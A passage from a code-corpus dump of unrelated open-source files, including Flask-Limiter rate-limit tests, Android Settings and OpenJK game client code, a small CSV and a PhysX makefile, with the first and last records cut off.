caplog.records[0].msg\n )\n assert (\n \"failed to load ratelimit\"\n in caplog.records[1].msg\n )\n assert (\n \"exceeded at endpoint\"\n in caplog.records[2].msg\n )\n assert caplog.records[2].levelname == 'WARNING'\n\n\ndef test_invalid_decorated_static_limits(caplog):\n app = Flask(__name__)\n limiter = Limiter(\n app, default_limits=[\"1/second\"], key_func=get_remote_address\n )\n\n @app.route(\"/t1\")\n @limiter.limit(\"2/sec\")\n def t1():\n return \"42\"\n\n with app.test_client() as cli:\n with hiro.Timeline().freeze():\n assert cli.get(\"/t1\").status_code == 200\n assert cli.get(\"/t1\").status_code == 429\n assert (\n \"failed to configure\"\n in caplog.records[0].msg\n )\n assert (\n \"exceeded at endpoint\"\n in caplog.records[1].msg\n )\n\n\ndef test_named_shared_limit(extension_factory):\n app, limiter = extension_factory()\n shared_limit_a = limiter.shared_limit(\"1/minute\", scope='a')\n shared_limit_b = limiter.shared_limit(\"1/minute\", scope='b')\n\n @app.route(\"/t1\")\n @shared_limit_a\n def route1():\n return \"route1\"\n\n @app.route(\"/t2\")\n @shared_limit_a\n def route2():\n return \"route2\"\n\n @app.route(\"/t3\")\n @shared_limit_b\n def route3():\n return \"route3\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/t1\").status_code\n assert 200 == cli.get(\"/t3\").status_code\n assert 429 == cli.get(\"/t2\").status_code\n\n\ndef test_dynamic_shared_limit(extension_factory):\n app, limiter = extension_factory()\n fn_a = mock.Mock()\n fn_b = mock.Mock()\n fn_a.return_value = \"foo\"\n fn_b.return_value = \"bar\"\n\n dy_limit_a = limiter.shared_limit(\"1/minute\", scope=fn_a)\n dy_limit_b = limiter.shared_limit(\"1/minute\", scope=fn_b)\n\n @app.route(\"/t1\")\n @dy_limit_a\n def t1():\n return \"route1\"\n\n @app.route(\"/t2\")\n @dy_limit_a\n def t2():\n return \"route2\"\n\n @app.route(\"/t3\")\n @dy_limit_b\n def t3():\n return \"route3\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/t1\").status_code\n assert 200 == cli.get(\"/t3\").status_code\n assert 429 == cli.get(\"/t2\").status_code\n assert 429 == cli.get(\"/t3\").status_code\n assert 2 == fn_a.call_count\n assert 2 == fn_b.call_count\n fn_b.assert_called_with(\"t3\")\n fn_a.assert_has_calls([mock.call(\"t1\"), mock.call(\"t2\")])\n\n\ndef test_conditional_limits():\n \"\"\"Test that the conditional activation of the limits work.\"\"\"\n app = Flask(__name__)\n limiter = Limiter(app, key_func=get_remote_address)\n\n @app.route(\"/limited\")\n @limiter.limit(\"1 per day\")\n def limited_route():\n return \"passed\"\n\n @app.route(\"/unlimited\")\n @limiter.limit(\"1 per day\", exempt_when=lambda: True)\n def never_limited_route():\n return \"should always pass\"\n\n is_exempt = False\n\n @app.route(\"/conditional\")\n @limiter.limit(\"1 per day\", exempt_when=lambda: is_exempt)\n def conditionally_limited_route():\n return \"conditional\"\n\n with app.test_client() as cli:\n assert cli.get(\"/limited\").status_code == 200\n assert cli.get(\"/limited\").status_code == 429\n\n assert cli.get(\"/unlimited\").status_code == 200\n assert cli.get(\"/unlimited\").status_code == 200\n\n assert cli.get(\"/conditional\").status_code == 200\n assert cli.get(\"/conditional\").status_code == 429\n is_exempt = True\n assert cli.get(\"/conditional\").status_code == 200\n is_exempt = False\n assert cli.get(\"/conditional\").status_code == 429\n\n\ndef test_conditional_shared_limits():\n \"\"\"Test that conditional shared limits work.\"\"\"\n app = Flask(__name__)\n limiter = Limiter(app, key_func=get_remote_address)\n\n @app.route(\"/limited\")\n @limiter.shared_limit(\"1 per day\", \"test_scope\")\n def limited_route():\n return \"passed\"\n\n @app.route(\"/unlimited\")\n @limiter.shared_limit(\n \"1 per day\", \"test_scope\", exempt_when=lambda: True\n )\n def never_limited_route():\n return \"should always pass\"\n\n is_exempt = False\n\n @app.route(\"/conditional\")\n @limiter.shared_limit(\n \"1 per day\", \"test_scope\", exempt_when=lambda: is_exempt\n )\n def conditionally_limited_route():\n return \"conditional\"\n\n with app.test_client() as cli:\n assert cli.get(\"/unlimited\").status_code == 200\n assert cli.get(\"/unlimited\").status_code == 200\n\n assert cli.get(\"/limited\").status_code == 200\n assert cli.get(\"/limited\").status_code == 429\n\n assert cli.get(\"/conditional\").status_code == 429\n is_exempt = True\n assert cli.get(\"/conditional\").status_code == 200\n is_exempt = False\n assert cli.get(\"/conditional\").status_code == 429\n\n\ndef test_whitelisting():\n\n app = Flask(__name__)\n limiter = Limiter(\n app,\n default_limits=[\"1/minute\"],\n headers_enabled=True,\n key_func=get_remote_address\n )\n\n @app.route(\"/\")\n def t():\n return \"test\"\n\n @limiter.request_filter\n def w():\n if request.headers.get(\"internal\", None) == \"true\":\n return True\n return False\n\n with hiro.Timeline().freeze() as timeline:\n with app.test_client() as cli:\n assert cli.get(\"/\").status_code == 200\n assert cli.get(\"/\").status_code == 429\n timeline.forward(60)\n assert cli.get(\"/\").status_code == 200\n\n for i in range(0, 10):\n assert cli.get(\n \"/\", headers={\"internal\": \"true\"}\n ).status_code == 200\n\n\ndef test_separate_method_limits(extension_factory):\n app, limiter = extension_factory()\n\n @limiter.limit(\"1/second\", per_method=True)\n @app.route(\"/\", methods=[\"GET\", \"POST\"])\n def root():\n return \"root\"\n\n with hiro.Timeline():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n assert 200 == cli.post(\"/\").status_code\n assert 429 == cli.post(\"/\").status_code\n\n\ndef test_explicit_method_limits(extension_factory):\n app, limiter = extension_factory(default_limits=['2/second'])\n\n @app.route(\"/\", methods=[\"GET\", \"POST\"])\n @limiter.limit(\"1/second\", methods=[\"GET\"])\n def root():\n return \"root\"\n\n with hiro.Timeline():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n assert 200 == cli.post(\"/\").status_code\n assert 200 == cli.post(\"/\").status_code\n assert 429 == cli.post(\"/\").status_code\n\n\ndef test_decorated_limit_immediate(extension_factory):\n app, limiter = extension_factory(default_limits=[\"1/minute\"])\n\n def append_info(fn):\n @wraps(fn)\n def __inner(*args, **kwargs):\n g.rate_limit = \"2/minute\"\n return fn(*args, **kwargs)\n return __inner\n\n @app.route(\"/\", methods=[\"GET\", \"POST\"])\n @append_info\n @limiter.limit(lambda: g.rate_limit, per_method=True)\n def root():\n return \"root\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/\").status_code\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n\n\ndef test_decorated_shared_limit_immediate(extension_factory):\n\n app, limiter = extension_factory(default_limits=['1/minute'])\n shared = limiter.shared_limit(lambda: g.rate_limit, 'shared')\n\n def append_info(fn):\n @wraps(fn)\n def __inner(*args, **kwargs):\n g.rate_limit = \"2/minute\"\n return fn(*args, **kwargs)\n return __inner\n\n @app.route(\"/\", methods=[\"GET\", \"POST\"])\n @append_info\n @shared\n def root():\n return \"root\"\n\n @app.route(\"/other\", methods=[\"GET\", \"POST\"])\n def other():\n return \"other\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/other\").status_code\n assert 429 == cli.get(\"/other\").status_code\n assert 200 == cli.get(\"/\").status_code\n assert 200 == cli.get(\"/\").status_code\n assert 429 == cli.get(\"/\").status_code\n\n\ndef test_backward_compatibility_with_incorrect_ordering(extension_factory):\n app, limiter = extension_factory()\n\n def something_else(fn):\n @functools.wraps(fn)\n def __inner(*args, **kwargs):\n return fn(*args, **kwargs)\n return __inner\n\n @limiter.limit(\"1/second\")\n @app.route(\"/t1\", methods=[\"GET\", \"POST\"])\n def root():\n return \"t1\"\n\n @limiter.limit(\"1/second\")\n @app.route(\"/t2\", methods=[\"GET\", \"POST\"])\n @something_else\n def t2():\n return \"t2\"\n\n @limiter.limit(\"2/second\")\n @limiter.limit(\"1/second\")\n @app.route(\"/t3\", methods=[\"GET\", \"POST\"])\n def t3():\n return \"t3\"\n\n with hiro.Timeline().freeze():\n with app.test_client() as cli:\n assert 200 == cli.get(\"/t1\").status_code\n assert 429 == cli.get(\"/t1\").status_code\n assert 200 == cli.get(\"/t2\").status_code\n assert 429 == cli.get(\"/t2\").status_code\n assert 200 == cli.get(\"/t3\").status_code\n assert 429 == cli.get(\"/t3\").status_code\n"} -{"text": "// ------------------------------------------------------------\n// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT License (MIT). See License.txt in the repo root for license information.\n// ------------------------------------------------------------\n\n#pragma once\n\nnamespace Hosting2\n{\n class UnregisterFabricRuntimeRequest : public Serialization::FabricSerializable\n {\n public:\n UnregisterFabricRuntimeRequest();\n UnregisterFabricRuntimeRequest(std::wstring const & runtimeId);\n\n __declspec(property(get=get_hostId)) std::wstring const & Id;\n std::wstring const & get_hostId() const { return id_; }\n\n void WriteTo(Common::TextWriter & w, Common::FormatOptions const &) const;\n\n FABRIC_FIELDS_01(id_);\n\n private:\n std::wstring id_;\n };\n}\n"} -{"text": "/*\n * Copyright (C) 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.android.settings.datetime;\n\nimport android.app.Activity;\nimport android.app.AlarmManager;\nimport android.app.TimePickerDialog;\nimport android.content.Context;\nimport android.text.TextUtils;\nimport android.text.format.DateFormat;\nimport android.widget.TimePicker;\n\nimport androidx.preference.Preference;\n\nimport com.android.settings.core.PreferenceControllerMixin;\nimport com.android.settingslib.RestrictedPreference;\nimport com.android.settingslib.core.AbstractPreferenceController;\n\nimport java.util.Calendar;\n\npublic class TimePreferenceController extends AbstractPreferenceController\n implements PreferenceControllerMixin, TimePickerDialog.OnTimeSetListener {\n\n public interface TimePreferenceHost extends UpdateTimeAndDateCallback {\n void showTimePicker();\n }\n\n public static final int DIALOG_TIMEPICKER = 1;\n\n private static final String KEY_TIME = \"time\";\n\n private final AutoTimePreferenceController mAutoTimePreferenceController;\n private final TimePreferenceHost mHost;\n\n\n public TimePreferenceController(Context context,\n TimePreferenceHost callback,\n AutoTimePreferenceController autoTimePreferenceController) {\n super(context);\n mHost = callback;\n mAutoTimePreferenceController = autoTimePreferenceController;\n }\n\n @Override\n public boolean isAvailable() {\n return true;\n }\n\n @Override\n public void updateState(Preference preference) {\n if (!(preference instanceof RestrictedPreference)) {\n return;\n }\n final Calendar now = Calendar.getInstance();\n preference.setSummary(DateFormat.getTimeFormat(mContext).format(now.getTime()));\n if (!((RestrictedPreference) preference).isDisabledByAdmin()) {\n preference.setEnabled(!mAutoTimePreferenceController.isEnabled());\n }\n }\n\n @Override\n public boolean handlePreferenceTreeClick(Preference preference) {\n if (!TextUtils.equals(KEY_TIME, preference.getKey())) {\n return false;\n }\n mHost.showTimePicker();\n return true;\n }\n\n @Override\n public String getPreferenceKey() {\n return KEY_TIME;\n }\n\n @Override\n public void onTimeSet(TimePicker view, int hourOfDay, int minute) {\n if (mContext != null) {\n setTime(hourOfDay, minute);\n mHost.updateTimeAndDateDisplay(mContext);\n }\n // We don't need to call timeUpdated() here because the TIME_CHANGED\n // broadcast is sent by the AlarmManager as a side effect of setting the\n // SystemClock time.\n }\n\n public TimePickerDialog buildTimePicker(Activity activity) {\n final Calendar calendar = Calendar.getInstance();\n return new TimePickerDialog(\n activity,\n this,\n calendar.get(Calendar.HOUR_OF_DAY),\n calendar.get(Calendar.MINUTE),\n DateFormat.is24HourFormat(activity));\n }\n\n void setTime(int hourOfDay, int minute) {\n Calendar c = Calendar.getInstance();\n\n c.set(Calendar.HOUR_OF_DAY, hourOfDay);\n c.set(Calendar.MINUTE, minute);\n c.set(Calendar.SECOND, 0);\n c.set(Calendar.MILLISECOND, 0);\n long when = Math.max(c.getTimeInMillis(), TimePreferenceHost.MIN_DATE);\n\n if (when / 1000 < Integer.MAX_VALUE) {\n ((AlarmManager) mContext.getSystemService(Context.ALARM_SERVICE)).setTime(when);\n }\n }\n}\n"} -{"text": "id,lastname,firstname\n82,Preisner,Zbigniew\n94,Gainsbourg,Serge\n"} -{"text": "/*\n===========================================================================\nCopyright (C) 1999 - 2005, Id Software, Inc.\nCopyright (C) 2000 - 2013, Raven Software, Inc.\nCopyright (C) 2001 - 2013, Activision, Inc.\nCopyright (C) 2013 - 2015, OpenJK contributors\n\nThis file is part of the OpenJK source code.\n\nOpenJK is free software; you can redistribute it and/or modify it\nunder the terms of the GNU General Public License version 2 as\npublished by the Free Software Foundation.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, see .\n===========================================================================\n*/\n\n// cg_playerstate.c -- this file acts on changes in a new playerState_t\n// With normal play, this will be done after local prediction, but when\n// following another player or playing back a demo, it will be checked\n// when the snapshot transitions like all the other entities\n\n#include \"cg_local.h\"\n#include \"cg_media.h\"\n\n/*\n==============\nCG_CheckAmmo\n\nIf the ammo has gone low enough to generate the warning, play a sound\n==============\n*/\nvoid CG_CheckAmmo( void ) \n{\n//\tint\t\ti;\n\tint\t\ttotal;\n\tint\t\tprevious;\n//\tint\t\tweapons;\n\n#if 0\n\t\t\n\t// see about how many seconds of ammo we have remaining\n\tweapons = cg.snap->ps.stats[ STAT_WEAPONS ];\n\ttotal = 0;\n\n\tfor ( i = WP_STUN_BATON; i < WP_NUM_WEAPONS i++ ) \n\t{\n\t\tif ( ! ( weapons & ( 1 << i ) ) )\n\t\t\tcontinue;\n\n\t\t/*\n\t\tswitch ( i ) \n\t\t{\n\t\tcase WP_ROCKET_LAUNCHER:\n\t\tcase WP_GRENADE_LAUNCHER:\n\t\tcase WP_RAILGUN:\n\t\tcase WP_SHOTGUN:\n\t\t\ttotal += cg.snap->ps.ammo[i] * 1000;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\ttotal += cg.snap->ps.ammo[i] * 200;\n\t\t\tbreak;\n\t\t}\n\t\t*/\n\t\t\n\t\tif ( total >= 5000 ) \n\t\t{\n\t\t\tcg.lowAmmoWarning = 0;\n\t\t\treturn;\n\t\t}\n\t}\n#endif\n\n\t// Don't bother drawing the ammo warning when have no weapon selected\n\tif ( cg.weaponSelect == WP_NONE )\n\t{\n\t\treturn;\n\t}\n\n\ttotal = cg.snap->ps.ammo[weaponData[cg.weaponSelect].ammoIndex];\n\n\tif (total > weaponData[cg.weaponSelect].ammoLow) // Low on ammo?\n\t{\n\t\tcg.lowAmmoWarning = 0;\n\t\treturn;\n\t}\n\n\n\tprevious = cg.lowAmmoWarning;\n\n\tif (!total)\t\t// We're completely freak'in out!\n\t{\n\t\tcg.lowAmmoWarning = 2;\n\t} \n\telse\t\t\t// Got a little left\n\t{\n\t\tcg.lowAmmoWarning = 1;\n\t}\n\n\t// play a sound on transitions\n\tif ( cg.lowAmmoWarning != previous ) {\n\t\tcgi_S_StartLocalSound( cgs.media.noAmmoSound, CHAN_LOCAL_SOUND ); //\"sound/weapons/noammo.wav\"\n\t}\n}\n\n/*\n==============\nCG_DamageFeedback\n==============\n*/\nvoid CG_DamageFeedback( int yawByte, int pitchByte, int damage ) {\n\tfloat\t\tleft, front, up;\n\tfloat\t\tkick;\n\tint\t\t\thealth;\n\tfloat\t\tscale;\n\tvec3_t\t\tdir;\n\tvec3_t\t\tangles;\n\tfloat\t\tdist;\n\tfloat\t\tyaw, pitch;\n\n\t//FIXME: Based on MOD, do different kinds of damage effects,\n\t//\t\tfor example, Borg damage could progressively tint screen green and raise FOV?\n\n\t// the lower on health you are, the greater the view kick will be\n\thealth = cg.snap->ps.stats[STAT_HEALTH];\n\tif ( health < 40 ) {\n\t\tscale = 1;\n\t} else {\n\t\tscale = 40.0 / health;\n\t}\n\tkick = damage * scale;\n\n\tif (kick < 5)\n\t\tkick = 5;\n\tif (kick > 10)\n\t\tkick = 10;\n\n\t// if yaw and pitch are both 255, make the damage always centered (falling, etc)\n\tif ( yawByte == 255 && pitchByte == 255 ) {\n\t\tcg.damageX = 0;\n\t\tcg.damageY = 0;\n\t\tcg.v_dmg_roll = 0;\n\t\tcg.v_dmg_pitch = -kick;\n\t} else {\n\t\t// positional\n\t\tpitch = pitchByte / 255.0 * 360;\n\t\tyaw = yawByte / 255.0 * 360;\n\n\t\tangles[PITCH] = pitch;\n\t\tangles[YAW] = yaw;\n\t\tangles[ROLL] = 0;\n\n\t\tAngleVectors( angles, dir, NULL, NULL );\n\t\tVectorSubtract( vec3_origin, dir, dir );\n\n\t\tfront = DotProduct (dir, cg.refdef.viewaxis[0] );\n\t\tleft = DotProduct (dir, cg.refdef.viewaxis[1] );\n\t\tup = DotProduct (dir, cg.refdef.viewaxis[2] );\n\n\t\tdir[0] = front;\n\t\tdir[1] = left;\n\t\tdir[2] = 0;\n\t\tdist = VectorLength( dir );\n\t\tif ( dist < 0.1 ) {\n\t\t\tdist = 0.1f;\n\t\t}\n\n\t\tcg.v_dmg_roll = kick * left;\n\t\t\n\t\tcg.v_dmg_pitch = -kick * front;\n\n\t\tif ( front <= 0.1 ) {\n\t\t\tfront = 0.1f;\n\t\t}\n\t\tcg.damageX = -left / front;\n\t\tcg.damageY = up / dist;\n\t}\n\n\t// clamp the position\n\tif ( cg.damageX > 1.0 ) {\n\t\tcg.damageX = 1.0;\n\t}\n\tif ( cg.damageX < - 1.0 ) {\n\t\tcg.damageX = -1.0;\n\t}\n\n\tif ( cg.damageY > 1.0 ) {\n\t\tcg.damageY = 1.0;\n\t}\n\tif ( cg.damageY < - 1.0 ) {\n\t\tcg.damageY = -1.0;\n\t}\n\n\t// don't let the screen flashes vary as much\n\tif ( kick > 10 ) {\n\t\tkick = 10;\n\t}\n\tcg.damageValue = kick;\n\tcg.v_dmg_time = cg.time + DAMAGE_TIME;\n\tcg.damageTime = cg.snap->serverTime;\n}\n\n\n\n\n/*\n================\nCG_Respawn\n\nA respawn happened this snapshot\n================\n*/\nvoid CG_Respawn( void ) {\n\t// no error decay on player movement\n\tcg.thisFrameTeleport = qtrue;\n\n\t// display weapons available\n//\tcg.weaponSelectTime = cg.time;\n\tSetWeaponSelectTime();\n\n\t// select the weapon the server says we are using\n\tcg.weaponSelect = cg.snap->ps.weapon;\n}\n\n\n/*\n==============\nCG_CheckPlayerstateEvents\n\n==============\n*/\nvoid CG_CheckPlayerstateEvents( playerState_t *ps, playerState_t *ops ) {\n\tint\t\t\ti;\n\tint\t\t\tevent;\n\tcentity_t\t*cent;\n\n#if 0\n\tif ( ps->externalEvent && ps->externalEvent != ops->externalEvent ) {\n\t\tcent = &cg_entities[ ps->clientNum ];\n\t\tcent->currentState.event = ps->externalEvent;\n\t\tcent->currentState.eventParm = ps->externalEventParm;\n\t\tCG_EntityEvent( cent, cent->lerpOrigin );\n\t}\n#endif\n\n\tfor ( i = ps->eventSequence - MAX_PS_EVENTS ; i < ps->eventSequence ; i++ ) {\n\t\tif ( ps->events[i & (MAX_PS_EVENTS-1)] != ops->events[i & (MAX_PS_EVENTS-1)]\n\t\t\t|| i >= ops->eventSequence ) {\n\t\t\tevent = ps->events[ i & (MAX_PS_EVENTS-1) ];\n\n\t\t\tcent = &cg_entities[ ps->clientNum ];\n\t\t\tcent->currentState.event = event;\n\t\t\tcent->currentState.eventParm = ps->eventParms[ i & (MAX_PS_EVENTS-1) ];\n\t\t\tCG_EntityEvent( cent, cent->lerpOrigin );\n\t\t}\n\t}\n}\n\n/*\n==================\nCG_CheckLocalSounds\n==================\n*/\n/*\nvoid CG_CheckLocalSounds( playerState_t *ps, playerState_t *ops ) {\n\tconst char *s;\n\n\t// hit changes\n\tif ( ps->persistant[PERS_HITS] > ops->persistant[PERS_HITS] ) {\n\t\tcgi_S_StartLocalSound( \"sound/feedback/hit.wav\" );\n\t} else if ( ps->persistant[PERS_HITS] < ops->persistant[PERS_HITS] ) {\n\t\tcgi_S_StartLocalSound( \"sound/feedback/hit_teammate.wav\" );\n\t}\n\n\t// score up / down changes\n\tif ( ps->persistant[PERS_SCORE] > ops->persistant[PERS_SCORE] ) {\n\t\tcgi_S_StartLocalSound( \"sound/feedback/scoreup.wav\" );\n\t} else if ( ps->persistant[PERS_SCORE] < ops->persistant[PERS_SCORE] ) {\n\t\tcgi_S_StartLocalSound( \"sound/feedback/scoredown.wav\" );\n\t}\n\n\t// reward sounds\n\tif ( ps->persistant[PERS_REWARD_COUNT] > ops->persistant[PERS_REWARD_COUNT] ) {\n\t\tswitch ( ps->persistant[PERS_REWARD] ) {\n\t\tcase REWARD_IMPRESSIVE:\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/impressive.wav\" );\n\t\t\tbreak;\n\t\tcase REWARD_EXCELLENT:\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/excellent.wav\" );\n\t\t\tbreak;\n\t\tcase REWARD_DENIED:\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/denied.wav\" );\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tCG_Error( \"Bad reward_t\" );\n\t\t}\n\t}\n\n\t// timelimit warnings\n\tif ( cgs.timelimit > 0 ) {\n\t\tif ( cgs.timelimit > 5 && !( cg.timelimitWarnings & 1 ) && cg.time > (cgs.timelimit - 5) * 60 * 1000 ) {\n\t\t\tcg.timelimitWarnings |= 1;\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/5_minute.wav\" );\n\t\t}\n\t\tif ( !( cg.timelimitWarnings & 2 ) && cg.time > (cgs.timelimit - 1) * 60 * 1000 ) {\n\t\t\tcg.timelimitWarnings |= 2;\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/1_minute.wav\" );\n\t\t}\n\t\tif ( !( cg.timelimitWarnings & 4 ) && cg.time > ( cgs.timelimit * 60 + 2 ) * 1000 ) {\n\t\t\tcg.timelimitWarnings |= 4;\n\t\t\tcgi_S_StartLocalSound( \"sound/feedback/sudden_death.wav\" );\n\t\t}\n\t}\n}\n*/\n\n/*\n===============\nCG_TransitionPlayerState\n\n===============\n*/\nvoid CG_TransitionPlayerState( playerState_t *ps, playerState_t *ops ) {\n\t// teleporting\n\tif ( ( ps->eFlags ^ ops->eFlags ) & EF_TELEPORT_BIT ) {\n\t\tcg.thisFrameTeleport = qtrue;\n\t} else {\n\t\tcg.thisFrameTeleport = qfalse;\n\t}\n\n\t// check for changing follow mode\n\tif ( ps->clientNum != ops->clientNum ) {\n\t\tcg.thisFrameTeleport = qtrue;\n\t\t// make sure we don't get any unwanted transition effects\n\t\t*ops = *ps;\n\t}\n\n\t// damage events (player is getting wounded)\n\tif ( ps->damageEvent != ops->damageEvent && ps->damageCount ) {\n\t\tCG_DamageFeedback( ps->damageYaw, ps->damagePitch, ps->damageCount );\n\t}\n\n\t// respawning\n\tif ( ps->persistant[PERS_SPAWN_COUNT] != ops->persistant[PERS_SPAWN_COUNT] ) {\n\t\tCG_Respawn();\n\t}\n\n\t// check for going low on ammo\n\tCG_CheckAmmo();\n\n\t// run events\n\tCG_CheckPlayerstateEvents( ps, ops );\n\n\t// smooth the ducking viewheight change\n\tif ( ps->viewheight != ops->viewheight ) \n\t{\n\t\tif ( !cg.nextFrameTeleport )\n\t\t{//when we crouch/uncrouch in mid-air, our viewhieght doesn't actually change in\n\t\t\t//absolute world coordinates, just locally.\n\t\t\tcg.duckChange = ps->viewheight - ops->viewheight;\n\t\t\tcg.duckTime = cg.time;\n\t\t}\n\t}\n}\n\n"} -{"text": "import { lt } from \"../index\";\nexport = lt;\n"} -{"text": "# Makefile generated by XPJ for ANDROID16\n-include Makefile.custom\nProjectName = PxFoundation\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsAllocator.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsAssert.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsFoundation.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsMathUtils.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsString.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsTempAllocator.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/PsUtilities.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixAtomic.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixCpu.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixFPU.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixMutex.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixPrintString.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixSList.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixSocket.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixSync.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixThread.cpp\nPxFoundation_cppfiles += ./../../../../PxShared/src/foundation/src/unix/PsUnixTime.cpp\n\nPxFoundation_cpp_debug_dep = $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.P, $(PxFoundation_cppfiles)))))\nPxFoundation_cc_debug_dep = $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.debug.P, $(PxFoundation_ccfiles)))))\nPxFoundation_c_debug_dep = $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.P, $(PxFoundation_cfiles)))))\nPxFoundation_debug_dep = $(PxFoundation_cpp_debug_dep) $(PxFoundation_cc_debug_dep) $(PxFoundation_c_debug_dep)\n-include $(PxFoundation_debug_dep)\nPxFoundation_cpp_release_dep = $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.P, $(PxFoundation_cppfiles)))))\nPxFoundation_cc_release_dep = $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.release.P, $(PxFoundation_ccfiles)))))\nPxFoundation_c_release_dep = $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.P, $(PxFoundation_cfiles)))))\nPxFoundation_release_dep = $(PxFoundation_cpp_release_dep) $(PxFoundation_cc_release_dep) $(PxFoundation_c_release_dep)\n-include $(PxFoundation_release_dep)\nPxFoundation_cpp_checked_dep = $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.P, $(PxFoundation_cppfiles)))))\nPxFoundation_cc_checked_dep = $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.checked.P, $(PxFoundation_ccfiles)))))\nPxFoundation_c_checked_dep = $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.P, $(PxFoundation_cfiles)))))\nPxFoundation_checked_dep = $(PxFoundation_cpp_checked_dep) $(PxFoundation_cc_checked_dep) $(PxFoundation_c_checked_dep)\n-include $(PxFoundation_checked_dep)\nPxFoundation_cpp_profile_dep = $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.P, $(PxFoundation_cppfiles)))))\nPxFoundation_cc_profile_dep = $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.profile.P, $(PxFoundation_ccfiles)))))\nPxFoundation_c_profile_dep = $(addprefix $(DEPSDIR)/PxFoundation/profile/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.P, $(PxFoundation_cfiles)))))\nPxFoundation_profile_dep = $(PxFoundation_cpp_profile_dep) $(PxFoundation_cc_profile_dep) $(PxFoundation_c_profile_dep)\n-include $(PxFoundation_profile_dep)\nPxFoundation_debug_hpaths := \nPxFoundation_debug_hpaths += ./../../../../PxShared/include\nPxFoundation_debug_hpaths += ./../../../../PxShared/src/foundation/include\nPxFoundation_debug_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/include\nPxFoundation_debug_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/libs/armeabi-v7a/include\nPxFoundation_debug_lpaths := \nPxFoundation_debug_defines := $(PxFoundation_custom_defines)\nPxFoundation_debug_defines += ANDROID\nPxFoundation_debug_defines += GLES2\nPxFoundation_debug_defines += __STDC_LIMIT_MACROS\nPxFoundation_debug_defines += __ARM_ARCH_5__\nPxFoundation_debug_defines += __ARM_ARCH_5T__\nPxFoundation_debug_defines += __ARM_ARCH_5E__\nPxFoundation_debug_defines += __ARM_ARCH_5TE__\nPxFoundation_debug_defines += PxShared_STATIC_LIB\nPxFoundation_debug_defines += _DEBUG\nPxFoundation_debug_defines += PX_DEBUG=1\nPxFoundation_debug_defines += PX_CHECKED=1\nPxFoundation_debug_defines += 